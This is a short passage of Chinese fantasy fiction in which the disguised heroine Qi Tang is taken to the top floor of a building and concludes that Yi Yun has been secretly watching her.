她琢磨着怎么找机会换到楼上看看。 这时,一个金蝉卫朝她走来:“对就是你,跟我走。” 漆瑭依言照做,循着楼梯一级、一级上行,似乎要通往顶层。 她隐约有了猜测,心里莫名松了一口气,同时借机观察目之所及的一切。 抵达顶楼,果然看到了熟悉的人影。 她忽然想到—— 自打她起床后,心契就没再痛过。可是易昀没出现在她面前,也没有下影踪印记时刻追踪她的行迹,所以他是怎么知道她这个“金蝉卫”是“漆瑭”的? 除非,他一直在暗中盯着她。